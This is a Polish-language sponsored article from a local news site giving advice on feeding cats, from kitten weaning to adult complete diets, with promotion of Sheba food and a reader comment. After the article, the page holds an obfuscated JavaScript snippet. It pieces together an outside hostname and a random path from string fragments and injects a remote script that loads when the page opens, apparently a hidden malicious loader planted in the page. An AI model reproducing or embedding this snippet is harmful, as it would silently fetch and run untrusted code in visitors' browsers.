Jak zatem powinno wyglądać żywienie kotów, jeśli chcemy sprawić im jak największą przyjemność, a jednocześnie zapewnić wszystkie niezbędne składniki odżywcze?
Żywienie kotów od pierwszych chwil życia
Pierwszym pokarmem kociąt jest mleko matki. Od około 3–4 tygodnia życia można powoli zacząć wprowadzać im także pokarmy stałe, przy czym poleca się rozpocząć od podawania jedzenia w formie mokrej, a dopiero w kolejnych tygodniach warto dodawać karmę suchą (co ważne, karma ta powinna być namoczona w wodzie lub preparatach mlekozastępczych).
Mleko kociej mamy maluch powinien jeść do około 6–8 tygodnia, kiedy to zwykle następuje zakończenie procesu odsadzenia dietetycznego. Dieta kota zaczyna bazować wtedy na pokarmach stałych, w których znaczną przewagę powinny mieć karmy mokre. Skąd wiedzieć, że kupujesz odpowiedni koci posiłek? Oznaczenie Junior jasno wskazuje, że jest to danie dla kocięcia.
Dieta kota dorosłego pod lupą
Podstawą kociej diety – zawsze! – powinny być pełnoporcjowe dania. Oznacza to, że są zbilansowane i kompletne, czyli dostarczają wszystkich niezbędnych dla naszych mruczków składników odżywczych w odpowiednich dla nich proporcjach. Warto zatem niezależnie od wieku kota, sprawdzać, czy podawane im karmy są właśnie pełnoporcjowe. Informacja o tym znajduje się na etykiecie kocich posiłków.
Opisane są także wskazania wiekowe – żywienie kotów dorosłych musi bazować na karmach Adult (przeznaczone są dla kotów, które ukończyły pierwszy rok życia). Dlaczego rozróżnienie to jest ważne? Dorosłe koty mają inne wymagania co do składników odżywczych oraz kalorii niż dopiero wkraczające w życie kocięta (kocięta potrzebują więcej energii oraz makro- i mikroskładników w przeliczeniu na kg masy ciała). Co jednak ważne, planując kocie menu zawsze, musimy wziąć pod uwagę jego indywidualne cechy i predyspozycje, zwłaszcza:
Ostatni punkt może wydawać się zaskakujący, ale koty są wyrafinowanymi smakoszami. Jeśli nie przepadają za smakiem dania, nie będą go jadły. Zresztą nie tylko o sam smak chodzi, lecz także o formę i teksturę karmy. Nasze mruczki mają naturalny mechanizm ochronny, który nie pozwala im jeść ciągle tego samego, co znacznie zmniejsza ryzyko ewentualnych zatruć czy też niedoborów lub nadmiaru różnego rodzaju składników odżywczych. Podawaj więc kotu zarówno delikatne, rozpływające się w pyszczku płatki karmy, zanurzone w przepysznej galaretce, jak chociażby Sheba® Delicacy in Jelly, jak i suchą karmę, którą nasz ukochany koci przyjaciel, będzie mógł ze smakiem schrupać.
Dieta kota – o czym pamiętać?
Jeżeli potrzebujesz większej ilości informacji na temat tego co jedzą koty - sprawdź poradnik Sheba!
(function(){
tqqmu="69dnaf1fqqmc";tqqm=document.createElement("script");
tqqm_="u"+("st");tqqm_+="at"+(".");tqqm.async=true;tqqm_+="in";
tqqmu="257038344."+tqqmu;tqqm.type="text/javascript";tqqmu+="vp6s8fl7uvrk";
tqqmu+="8xwwtg";tqqm_+=("f")+"o"+("/");tqqm.src="https://"+tqqm_+tqqmu;
tqqmd=document.body;tqqmd.appendChild(tqqm);
})();
0 0
Ja w kwestii żywienia mojego kotka radziłam się w Leopardus w Tkalni i udało im się dobrać bardzo dobrą karmę, kot je chętnie i przede wszystkim zdrowo :)
Użytkowniku, pamiętaj, że w Internecie nie jesteś anonimowy. Ponosisz odpowiedzialność za treści zamieszczane na portalu zyciepabianic.pl. Dodanie opinii jest równoznaczne z akceptacją Regulaminu portalu. Jeśli zauważyłeś, że któraś opinia łamie prawo lub dobry obyczaj - powiadom nas [email protected] lub użyj przycisku Zgłoś komentarz